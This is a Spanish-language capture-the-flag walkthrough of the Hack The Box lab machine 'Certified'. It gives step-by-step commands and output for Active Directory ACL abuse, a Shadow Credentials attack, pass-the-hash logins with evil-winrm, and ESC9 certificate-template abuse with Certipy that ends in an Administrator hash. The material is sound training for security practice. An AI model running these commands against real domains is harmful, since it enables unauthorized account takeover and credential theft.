Descripción️

Certified es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración del Directorio Activo con unas credenciales de un usuario del dominio
  • Concedido al usuario del dominio el permiso WriteOwner sobre un grupo, permite al usuario agregarse a sí mismo al grupo.️
  • Los usuarios del grupo tienen el permiso GenericWrite sobre un usuario del dominio con permisos para iniciar sesión en la máquina, permitiendo cambiar la contraseña.️
  • El usuario que puede iniciar sesión en la máquina tiene el permiso GenericAll sobre un usuario de una Autoridad de Certificación, permitiéndole cambiar la contraseña y otros campos.
  • Escalada de privilegios mediante la suplantación del usuario Administrator usando la vulnerabilidad ESC9 en las Plantillas de Certificados utilizadas en los Servicios de Certificados del Directorio Activo

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.24.237.

$ ping -c 3 10.129.24.237
PING 10.129.24.237 (10.129.24.237) 56(84) bytes of data.
64 bytes from 10.129.24.237: icmp_seq=1 ttl=127 time=43.1 ms
64 bytes from 10.129.24.237: icmp_seq=2 ttl=127 time=42.1 ms
64 bytes from 10.129.24.237: icmp_seq=3 ttl=127 time=42.1 ms

--- 10.129.24.237 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 42.074/42.432/43.141/0.500 ms

La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.24.237 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.24.237
Host is up (0.047s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl

Obtenemos muchos puertos abiertos, relacionados con un entorno Active Directory.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.24.237 -Pn -sV -sC -p53,88,135,139,389,445,464,636,3268,3269 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.24.237
Host is up (0.044s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
 ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.54 seconds

Obtenemos los servicios relacionados con un Directorio Activo, específicamente el Controlador de Dominio DC01.certified.htt. Agregamos las direcciones IP a nuestro archivo local /etc/hosts.️

$ echo "10.129.24.237 certified.htb" | sudo tee -a /etc/hosts
$ echo "10.129.24.237 DC01.certified.htb" | sudo tee -a /etc/hosts

Antes de continuar necesitamos sincronizar el reloj del sistema con el reloj del Controlador de Dominio. Vamos a detener la sincronización con el servidor NTP por defecto.️

$ sudo timedatectl  set-ntp off 
$ sudo rdate -n certified.htb

Comenzamos la enumeración del dominio con una supuesta brecha, tenemos la contraseña del usuario judith.mader, judith09. Extraemos la información del dominio utilizando la herramienta bloodhound-python para luego utilizar la aplicación de escritorio BloodHound y analizar los datos.️

$ bloodhound-python -d certified.htb -v --zip -c All -dc certified.htb -ns 10.129.24.237 -u 'judith.mader' -p 'judith09'
DEBUG: Authentication: username/password
DEBUG: Resolved collection methods: psremote, trusts, group, rdp, dcom, session, acl, container, objectprops, localadmin
DEBUG: Using DNS to retrieve domain information
DEBUG: Querying domain controller information from DNS
DEBUG: Using domain hint: certified.htb
INFO: Found AD domain: certified.htb
DEBUG: Found primary DC: dc01.certified.htb
DEBUG: Found Global Catalog server: dc01.certified.htb
DEBUG: Found KDC for enumeration domain: dc01.certified.htb
DEBUG: Using supplied domain controller as KDC
...

Cargamos el archivo generado .zip en BloodHound utilizando la opción de menú Upload Data, buscamos al usuario judith.mader.️ En la pestaña de Node Info nos movemos a Outbound Object Control > First Degree Object Control. Después de hacer clic en él, encontramos que el usuario judith.mader tiene el permiso WriteOwner sobre el grupo Management.️ Con este permiso podemos sobrescribir el propietario del grupo Management a judith.mader y podemos agregar el usuario al grupo, después de concederle permiso para agregar usuarios. En la enumeración también encontramos que los usuarios del grupo Management tienen el permiso GenericWrite sobre el usuario management_svc. Podemos encontrarlo buscando el grupo Management y moviéndonos a Outbound Object Control > First Degree Object Control.️ Esto permite que hagamos un ataque de Shadow Credentials, lo cual nos permitirá obtener el hash NT del usuario management_svc. Al buscar al usuario y movernos a Outbound Object Control > First Degree Object Control encontramos que el usuario management_svc tiene el permiso GenericAll sobre el usuario ca_operator. Esto significa que el usuario management_svc puede tomar el control de la cuenta del usuario ca_operator cambiando su contraseña.️ Finalmente encontramos que el usuario management_svc en la opción de Reachable High Value Targets tiene el permiso de PSRemote a la máquina, por lo que al usuario le permite iniciar sesión y crear una consola para ejecutar comandos.️

Explotación️

Cambiaremos la propiedad del grupo Management a judith.mader con la herramienta impacket-owneredit.️

$ impacket-owneredit -action write -new-owner 'judith.mader' -target 'Management' 'certified.htb'/'judith.mader':'judith09'
...
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!

Luego daremos a judith.mader el permiso de agregar usuarios modificando el DACL utilizando la herramienta impacket-dacledit.️

$ impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target 'Management' 'certified.htb'/'judith.mader':'judith09'
...
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit.bak
[*] DACL modified successfully!

Después de eso agregamos a judith.mader al grupo Management.️

$ net rpc group addmem "Management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S "certified.htb"

Con el usuario en el grupo, vamos a realizar el ataque de Shadow Credentials utilizando la herramienta pyWhisker. Esta herramienta permite a los usuarios manipular la propiedad msDS-KeyCredentialLink de un usuario/ordenador objetivo para obtener control total sobre ese objeto. Vamos a clonar la herramienta, cambiar a una versión anterior e instalar las dependencias.️

$ git clone https://github.com/ShutdownRepo/pywhisker                         $ cd pywhisker  
$ git checkout c4ecf411a585ca4647843c8c3856e023e738a528
$ virtualenv pyw
$ . pyw/bin/activate
(pyw) $ pip install -r requirements.txt

Ejecutamos la herramienta con sus parámetros para obtener el certificado .pfx con su clave.️

$ python pywhisker.py -d certified.htb -u judith.mader -p 'judith09' --target 'management_svc' --action 'add'  --dc-ip 10.129.24.237
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 34483eb7-9bc5-1f40-0840-b2b2f3f98078
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: AtmtlSgR.pfx
[*] Must be used with password: djPMrrpnUqhl1ZE9REuX
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

Encontramos que el DeviceID generado se agrega al Controlador de Dominio.️

$ python pywhisker.py -d certified.htb -u judith.mader -p 'judith09' --target 'management_svc' --action 'list'  --dc-ip 10.129.24.237
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Listing devices for management_svc
[*] DeviceID: 34483eb7-9bc5-1f40-0840-b2b2f3f98078

Ahora necesitamos utilizar las herramientas del proyecto PKINITtools para obtener el hash NT del usuario solicitando un TGT utilizando un archivo PFX y luego usar Kerberos U2U para enviar una solicitud de TGS para sí mismo con el PAC que a su vez contiene la huella de NT. Clonamos el repositorio e instalamos las dependencias.️

$ cd ..
$ git clone https://github.com/dirkjanm/PKINITtools
$ cd PKINITtools
$ pip install -r requirements.txt

Obtenemos el TGT con el comando gettgtpkinit.py especificando el archivo de certificado y la contraseña que obtuvimos previamente. También guardamos en la variable KRB5CCNAME la información del archivo de caché de Kerberos.️

$ python gettgtpkinit.py -cert-pfx ../pywhisker/AtmtlSgR.pfx -pfx-pass djPMrrpnUqhl1ZE9REuX certified.htb/management_svc user.ccache -dc-ip 10.129.24.237
INFO:minikerberos:Loading certificate and key from file
INFO:minikerberos:Requesting TGT
INFO:minikerberos:AS-REP encryption key (you might need this later):
INFO:minikerberos:28883bee2f2c0cda3ba0f1e20ac561015753930029b03fca4fe27a44b32a3218
INFO:minikerberos:Saved TGT to file

$ export KRB5CCNAME=$PWD/user.ccache

Obtenemos el TGT y la clave de cifrado AS-REP, 28883bee2f2c0cda3ba0f1e20ac561015753930029b03fca4fe27a44b32a3218. Ahora usamos esta información para recuperar el hash NT con la herramienta getnthash.py.️

$ python getnthash.py certified.htb/management_svc -key 28883bee2f2c0cda3ba0f1e20ac561015753930029b03fca4fe27a44b32a3218 -dc-ip 10.129.24.237
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
...
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584

Obtenemos el hash NT para el usuario management_svc, a091c1832bcdd4677c28b5a6a1295584. Ahora podemos iniciar sesión en la máquina utilizando la herramienta evil-winrm.️

$ evil-winrm -i 10.129.24.237 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584'
                                        
Evil-WinRM shell v3.6
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\management_svc\Documents> whoami
certified\management_svc

Post-Explotación

Antes de nada, vamos a tomar el control del usuario ca_operator cambiando su contraseña a newpassword123. Vamos a utilizar la herramienta rpcclient con el usuario management_svc y el hash NT obtenido.

$ rpcclient -U 'certified.htb/management_svc%a091c1832bcdd4677c28b5a6a1295584' --pw-nt-hash 10.129.24.237
rpcclient $> setuserinfo2 ca_operator 23 'newpassword123'

Como sugiere el nombre de usuario, el usuario ca_operator puede estar relacionado con los Servicios de Certificados del Directorio Activo. Vamos a utilizar la herramienta Certipy para enumerar la información sobre los servicios.️

$ certipy-ad find -username ca_operator@certified.htb -password newpassword123 -dc-ip 10.129.24.237 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[*] Got CA configuration for 'certified-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : certified-DC01-CA
    DNS Name                            : DC01.certified.htb
    Certificate Subject                 : CN=certified-DC01-CA, DC=certified, DC=htb
    Certificate Serial Number           : 36472F2C180FBB9B4983AD4D60CD5A9D
    Certificate Validity Start          : 2024-05-13 15:33:41+00:00
    Certificate Validity End            : 2124-05-13 15:43:41+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CERTIFIED.HTB\Administrators
      Access Rights
        ManageCertificates              : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        ManageCa                        : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Enroll                          : CERTIFIED.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
    Certificate Authorities             : certified-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectAltRequireUpn
    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFIED.HTB\operator ca
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFIED.HTB\Administrator
        Write Owner Principals          : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Dacl Principals           : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Property Principals       : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
    [!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension

Encontramos el plantilla de CertifiedAuthentication con la vulnerabilidad ESC9, el usuario operator_ca puede inscribirse y el plantilla no tiene extensión de seguridad. Para aprovechar la vulnerabilidad necesitamos un usuario con acceso de GenericWrite para permitir a operator_ca cambiar su userPrincipalName. Ya lo tenemos como lo verificamos previamente. Como también cambiamos la contraseña podemos utilizar la herramienta Certipy para cambiar el userPrincipalName a Administrator. Usaremos el hash NT que obtuvimos.️

$ certipy-ad account update -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : Administrator
[*] Successfully updated 'ca_operator'

Ahora vamos a solicitar un certificado de autenticación como el usuario Administrador utilizando al usuario ca_operador.️

$ certipy-ad req -username ca_operator@certified.htb -password 'newpassword123' -ca certified-DC01-CA -template CertifiedAuthentication
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Revertimos el valor de userPrincipalName del usuario ca_operator a su valor por defecto, ca_operator@certified.htb.️

$ certipy-ad account update -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'

Finalmente nos autenticamos con el certificado generado para recuperar el hash NTLM del usuario Administrator.️

$ certipy-ad auth -pfx administrator.pfx -domain certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

Obtenemos el hash NT del usuario Administrator, 0d5b49608bbce1751f708748f67e2d34. Podemos iniciar sesión utilizando evil-winrm para crear la terminal.️

$ evil-winrm -i 10.129.24.237 -u 'Administrator' -H '0d5b49608bbce1751f708748f67e2d34' 
                                        
Evil-WinRM shell v3.6
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
certified\administrator

Flags

En la terminal como el usuario Administrator, podemos recuperar las flas de user y root.️

*Evil-WinRM* PS C:\Users\Administrator\Documents> type c:\Users\management_svc\Desktop\user.txt
<REDACTED>
*Evil-WinRM* PS C:\Users\Administrator\Documents> type c:\Users\Administrator\Desktop\root.txt
<REDACTED>